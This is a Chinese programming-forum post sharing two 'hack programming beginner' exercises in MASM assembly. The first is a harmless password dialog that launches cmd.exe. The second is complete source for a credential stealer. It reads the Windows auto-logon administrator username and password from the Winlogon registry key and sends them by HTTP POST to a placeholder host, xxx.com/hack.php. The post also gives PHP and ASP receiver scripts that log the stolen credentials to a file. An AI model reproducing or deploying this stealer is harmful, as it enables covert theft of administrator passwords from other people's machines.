原帖及讨论:http://bbs.bccn.net/thread-223568-1-1.html 在网上看到两个 hack编程入门的程序 用汇编写了一下 贴出来请各位指点一下
第一个
功能:程序运行后提示输入对话框输入一个密码 密码正确运行CMD程序,密码不正确继续运行! 文件越小越好 提示使用winmain函数 动态创建文本窗体 处理按键消息 参考delphi 7代码: program Project1; uses SysUtils, Windows, Dialogs ; {$R *.res} begin if mystr=inputbox('please input pass','what is password?','') then begin WinExec(PChar('cmd.exe'), SW_SHOWDEFAULT); end; end.
既然要小 就得用汇编啦~~
;MASMPlus 代码模板 - 以对话框做为主窗口的程序 ;********************************************************* ;为了让文件更小 ;进行了快合并(貌似.rsrc不能合 呵呵) ;字符串直接放在 .code 里 ;对齐是32(在偶的xp上可以执行的) ;/ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text ;by zklhp Email:zklhp@sina.com ;********************************************************* .386 .Model Flat, StdCall Option Casemap :None
Include windows.inc Include user32.inc Include kernel32.inc ;Include gdi32.inc include Dialog.inc
;includelib gdi32.lib IncludeLib user32.lib IncludeLib kernel32.lib include macro.asm DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.CODE
szPass db 'enter',0 szCmd db 'cmd.exe',0 szError db '密码错误,正确的是 enter',0 hInstance dd ? szBuffer db 16d dup(?) START: invoke GetModuleHandle,NULL mov hInstance,eax invoke DialogBoxParam,hInstance,IDD_MAIN,0,offset DlgProc,0 invoke ExitProcess,0
DlgProc proc hWnd,uMsg,wParam,lParam .if uMsg==WM_INITDIALOG invoke LoadIcon,hInstance,100 invoke SendMessage,hWnd,WM_SETICON,ICON_SMALL,eax invoke RtlZeroMemory,offset szBuffer,16d invoke SendDlgItemMessage,hWnd,IDC_EDT1,EM_LIMITTEXT,15d,NULL invoke SetDlgItemText,hWnd,IDC_EDT1,addr szBuffer .elseif uMsg==WM_COMMAND mov eax,wParam and eax,0ffffh .if eax==IDOK invoke SendMessage,hWnd,WM_COMMAND,1003d,0 .elseif eax==IDCANCEL invoke SendMessage,hWnd,WM_CLOSE,0,0 .elseif eax==IDC_EXIT invoke SendMessage,hWnd,WM_CLOSE,0,0 .elseif eax==IDC_OK invoke GetDlgItemText,hWnd,IDC_EDT1,addr szBuffer,15d .if eax > 0 invoke lstrcmp,offset szBuffer,offset szPass .if eax==0 invoke WinExec,offset szCmd,SW_NORMAL invoke SendMessage,hWnd,WM_INITDIALOG,0,0 .else invoke MessageBox,hWnd,offset szError,0,0 invoke SendMessage,hWnd,WM_INITDIALOG,0,0 .endif .endif .endif .elseif uMsg==WM_CLOSE invoke EndDialog,hWnd,wParam .else mov eax,FALSE ret .endif mov eax,TRUE ret DlgProc endp
END START
第一个很简单 第二个比第一个麻烦点
功能:读取windows xp系统里自动登录的管理员用户名和密码,并发送到http://xxx.com/hack.php里 接收参数?username=username&password=password 语言:不限制 程序越小越好提示:自动登陆的注册表设置是这样的: HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon “AutoAdminLogon”,值设为“1”字符串值“DefaultPassword”,登录时的密码,字符串值:“DefaultUserName”,用户名
HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Winlogon xp的 HKEY_LOCAL_MACHINE/Software/Microsoft/Windows NT/CurrentVersion/Winlogon 这是2003的
post数据接收文件PHP代码 <? $username = $_POST[username]; $password = $_POST[password]; if(($username!="")&&($password!="")) { file_put_contents("pass.txt","username:$username;password:$password/n/r",FILE_APPEND); } ?>
post数据接收文件ASP代码 <% dim username,password username=request("username") password=request("password") if username<>"" and password<>"" then set myfso=server.CreateObject("Scripting.FileSystemObject") set mytxt=myfso.OpenTextFile(server.mappath("2.txt"),8,true) mytxt.WriteLine("username:"+username+",password:"+password) mytxt.close end if %>
;MASMPlus 代码模板 - 以对话框做为主窗口的程序
;*********************************************************
;和上一个一样 /ALIGN:32 /SECTION:.text,RW /MERGE:.rdata=.text ;by zklhp Email:zklhp@sina.com ;*********************************************************
.386 .Model Flat, StdCall Option Casemap :None
Include windows.inc Include user32.inc Include kernel32.inc ;Include gdi32.inc include WS2_32.inc include Advapi32.inc
includelib Advapi32.lib includelib WS2_32.lib ;includelib gdi32.lib IncludeLib user32.lib IncludeLib kernel32.lib include macro.asm
.CODE
;为节省空间 数据放在代码段里
szUserName db 32 dup(0) szPassword db 32 dup(0)
szFormat db 'POST /hack.php?username=%s&password=%s HTTP/1.1',0dh,0ah,0 szBuf db 'Accept: */*',0dh,0ah,/ 'Accept-Language: zh-cn',0dh,0ah,/ 'Accept-Encoding: gzip, deflate',0dh,0ah,/ 'User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',0dh,0ah,/ 'Host: xxx.com',0dh,0ah,/ 'Connection: Keep-Alive',0dh,0ah,0
szHostName db 'xxx.com',0
szKey_2003 db 'Software/Microsoft/Windows NT/CurrentVersion/Winlogon',0 szKey_xp db 'Software/Microsoft/Windows/CurrentVersion/Winlogon',0 szKeyName db 'DefaultUserName',0 szKeyPass db 'DefaultPassword',0
_RegQueryValue proc _lpszKey,_lpszValueName,_lpszValue,_lpdwSize,_lpdwType local @hKey,@dwReturn mov @dwReturn,-1 invoke RegOpenKeyEx,HKEY_LOCAL_MACHINE,_lpszKey,NULL,KEY_QUERY_VALUE,addr @hKey .if eax == ERROR_SUCCESS invoke RegQueryValueEx,@hKey,_lpszValueName,NULL,_lpdwType,_lpszValue,_lpdwSize mov @dwReturn,eax invoke RegCloseKey,@hKey .endif mov eax,@dwReturn ret _RegQueryValue endp
_Send proc uses edi esi ebx ,_lpUserName,_lpPassword
local @stWsa:WSADATA,@stSin:sockaddr_in,@hSocket:DWORD local @szBuffer[300h]:BYTE ;放在堆栈里 invoke RtlZeroMemory,addr @stWsa,sizeof @stWsa invoke RtlZeroMemory,addr @stSin,sizeof @stSin invoke RtlZeroMemory,addr @szBuffer,sizeof @szBuffer
invoke wsprintf,addr @szBuffer,offset szFormat,_lpUserName,_lpPassword invoke lstrcat,addr @szBuffer,offset szBuf
invoke WSAStartup, 0002h, addr @stWsa invoke socket, AF_INET, SOCK_STREAM, 0 .if eax != INVALID_SOCKET mov @hSocket, eax mov @stSin.sin_family,AF_INET invoke htons,80 mov @stSin.sin_port,ax invoke gethostbyname,addr szHostName .if eax mov eax, [eax + hostent.h_list] mov eax, [eax] mov eax, [eax] mov @stSin.sin_addr, eax .endif invoke connect,@hSocket,addr @stSin,sizeof @stSin invoke lstrlen,addr @szBuffer invoke send,@hSocket,addr @szBuffer,eax,0 invoke closesocket,@hSocket .endif invoke WSACleanup ret
_Send endp START: ;为节省空间 在堆栈里放数据(貌似省不了多少……) mov eax,32 push eax push eax mov ebx,esp lea edi,[esp+4h] ;ebx edi edi 会被保护 一般不会变的
;为了使程序简化 就不判断操作系统的版本了 呵呵 invoke _RegQueryValue,offset szKey_2003,offset szKeyName,offset szUserName,ebx,edi mov ecx,[ebx] ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发 .if eax == ERROR_SUCCESS && ecx != 1 invoke _RegQueryValue,offset szKey_2003,offset szKeyPass,offset szPassword,ebx,edi mov ecx,[ebx] .if eax == ERROR_SUCCESS && ecx != 1 ;又有帐号 又有密码 发送! ;int 3h invoke _Send,offset szUserName,offset szPassword jmp @Exit .endif .endif
invoke _RegQueryValue,offset szKey_xp,offset szKeyName,offset szUserName,ebx,edi mov ecx,[ebx] ;会在ebx指向的内存里返回写入的大小 防止出现长度为1的情况 但密码为空的情况呢 不知道这种情况该不该发 .if eax == ERROR_SUCCESS && ecx != 1 invoke _RegQueryValue,offset szKey_xp,offset szKeyPass,offset szPassword,ebx,edi mov ecx,[ebx] .if eax == ERROR_SUCCESS && ecx != 1 ;又有帐号 又有密码 发送! invoke _Send,offset szUserName,offset szPassword jmp @Exit .endif .endif
@Exit: ;恢复堆栈 退出 pop eax pop eax invoke ExitProcess,0
END START
就是第二个没法验证对错 还望各位高手指点
两个程序都是用masmplus写的 在偶的xp上运行正常 Project.rar (10.73 KB)  
|